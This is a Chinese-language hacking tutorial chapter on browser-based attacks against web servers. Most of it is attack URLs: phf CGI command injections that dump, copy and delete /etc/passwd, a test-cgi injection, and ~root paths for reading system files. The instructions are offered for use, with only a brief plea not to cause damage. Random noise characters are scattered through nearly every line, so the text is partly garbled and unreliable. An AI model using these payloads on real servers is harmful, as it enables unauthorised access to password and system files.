在本章我將講述一些利用瀏覽器來(lái)進(jìn)行攻擊的方法3 C ]! i. D0 }) x) @& D ~
1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用/ k1 T% J$ ]% d& r) R5 r
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:: e% t& p0 C D; [; B- w- U
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=6 k1 i: J. h+ E5 k& n* z$ D
haqr&Qemail=&Qnickname=&Qoffice_phone=
: [* H7 p) c5 Y9 J( A) nhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd; z8 v* V& G. L/ y( W' v: ~; K
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=8 [- U' Z* ]! R5 P8 ]% @7 I( P0 p
http://thegnome.com/~someuser/passwd5 \ ?% C) p9 l/ {! l' O
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
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=haqr&Qemail=&Qnickname=&Qoffice_phone=" X1 R( ~+ H0 j. J
上面執(zhí)行的命令是
5 w, v4 N+ V" _* E; e$ ~& pid2 I9 O5 b) M7 r; \( N; {. D( p& z
ls -la ~someuser
0 F2 q, i; Q9 [4 ^cp /etc/passwd ~someuser/passwd
j- Y3 [- m8 E5 o `6 Jrm ~someuser/passwd
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: @' ]. p$ ?+ }" ~6 ]% ~4 l* R2 \2。有關(guān)test攻擊) d( g4 x! [" _+ W
http://thegnome.com/cgi-bin/test-cgi?\whatever
3 ^$ V7 w' C6 i服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:
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argc is 0. argv is .2 h+ O/ h, B! b1 T* F6 Z
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SERVER_SOFTWARE = NCSA/1.4B1 }6 o! j& `$ d% }) ~
SERVER_NAME = thegnome.com
+ W7 V8 }& A8 B& K( _7 h* p5 D* [GATEWAY_INTERFACE = CGI/1.1. _' k, y$ c! f, x: W0 T" D
SERVER_PROTOCOL = HTTP/1.0
5 u8 C- \9 f d7 dSERVER_PORT = 80
& S9 X7 [: e7 v: K" W# XREQUEST_METHOD = GET5 f3 v% j% k! U! E" T3 q1 ~: I" d9 u) R
HTTP_ACCEPT = text/plain, application/x-html, application/html,
7 b9 R( Q$ s1 Ftext/html, text/x-html8 V! R" ]5 N( x/ ?/ q* [, C
PATH_INFO =; z0 r' V$ T& m5 X
PATH_TRANSLATED =5 N. t4 G4 O! p5 u
SCRIPT_NAME = /cgi-bin/test-cgi9 b9 U5 H: q# h& p. G! c
QUERY_STRING = whatever, @; `2 ? P/ C
REMOTE_HOST = fifth.column.gov
2 u5 s8 ~3 t. q3 ~, g2 eREMOTE_ADDR = 200.200.200.2006 t9 L! y. l' Z! B, X2 F
REMOTE_USER =, s8 L, H/ T$ r. N# I7 a$ i+ \
AUTH_TYPE =
9 B, G) _5 A7 A& K; J: hCONTENT_TYPE =
6 [9 g: Q! Q- U. ?8 tCONTENT_LENGTH =
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好吧,讓我們來(lái)點(diǎn)趕興趣的, H" S/ U* S: b$ B2 q
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
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3。~的應(yīng)用
( I: E% g" E/ t+ U9 O, [1 h~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~. P* d {, Y+ D$ \% y% ~: H4 h
http://thegnome.com/~root. S# ]" d+ M7 c, B
http://thegnome.com/~root/etc/passwd
- N# N# A m; k9 }4 v不是在任何平臺(tái)上都通過(guò)呦,在BSD Apache上曾經(jīng)成功過(guò),當(dāng)然還可以試試~bin ,~etc,~uucp.....4 c5 m6 \9 m4 J5 Y5 [
看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin
- Q- x, f! f' O7 [+ Y( [: p出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞# L+ _- N7 p; v$ o
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